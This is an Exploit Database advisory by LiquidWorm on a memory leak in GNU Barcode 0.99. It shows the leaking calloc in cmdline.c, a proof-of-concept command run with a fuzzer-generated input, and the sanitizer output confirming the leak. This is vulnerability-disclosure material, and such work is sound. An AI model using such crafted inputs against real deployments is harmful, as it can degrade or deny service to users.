GNU Barcode 0.99 – Memory Leak

Exploit Database
115 阅读

作者： LiquidWorm

日期： 2018-05-29
类别：
- local
平台：
- linux
来源：https://www.exploit-db.com/exploits/44798/

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# GNU Barcode 0.99 - Memory Leak

# Vendor: The GNU Project | Free Software Foundation, Inc.

# Product web page: https://www.gnu.org/software/barcode/

# https://directory.fsf.org/wiki/Barcode

# Affected version: 0.99

# Tested on: Ubuntu 16.04.4

# Author: Gjoko 'LiquidWorm' Krstic

# Summary: GNU Barcode is a tool to convert text strings to printed bars.

# It supports a variety of standard codes to represent the textual strings

# and creates postscript output.

# Desc: GNU Barcode suffers from a memory leak vulnerability, which can be exploited

# by malicious people to cause a DoS (Denial of Service). The vulnerability is

# caused due to an error in the 'cmdline.c', which can be exploited to cause a

# memory leak via a specially crafted file. The vulnerability is confirmed in

# version 0.99. Other versions may also be affected.

cmdline.c:

128: int commandline(struct commandline *args, int argc, char **argv,

129: char *errorhead)

130: {

131: struct commandline *ptr;

132: char *getopt_desc = (char *)calloc(512, 1);

133: int desc_offset = 0;

134: int opt, retval;

135: char *value;

lqwrm@metalgear:~/research/barcode-0.99$ ./barcode -b id:000034,sig:06,src:000000,op:havoc,rep:128

%!PS-Adobe-2.0

%%Creator: "barcode", libbarcode sample frontend

%%DocumentPaperSizes: A4

%%EndComments

%%EndProlog

%%Page: 1 1

% Printing barcode for "id:000034,sig:06,src:000000,op:havoc,rep:128", scaled1.00, encoded using "code 128-B"

% The space/bar succession is represented by the following widths (space first):

% 02112141341111132221411221212411211241142121224111122141142121132221421121412213212211231221231221231221231222211322212311122321142121421121221143212211231222231121122321142121212411411223212211231221231221231221231221231221231221122321341111112423212211224111211244112121341111411221122321212411122141112423212211232212232113112221321132331112

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/Helvetica findfont exch scalefont setfont

} {pop} ifelse

moveto show} bind forall

% End barcode for "id:000034,sig:06,src:000000,op:havoc,rep:128"

showpage

%%Trailer

==2183==ERROR: LeakSanitizer: detected memory leaks

Direct leak of 512 byte(s) in 1 object(s) allocated from:

#0 0x7fcb3aca179a in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x9879a)

#1 0x407be2 in commandline /home/lqwrm/research/barcode-0.99/cmdline.c:132

Direct leak of 55 byte(s) in 1 object(s) allocated from:

#0 0x7fcb3aca1602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)

#1 0x7fcb3a8ca489 in __strdup (/lib/x86_64-linux-gnu/libc.so.6+0x8b489)

SUMMARY: AddressSanitizer: 567 byte(s) leaked in 2 allocation(s).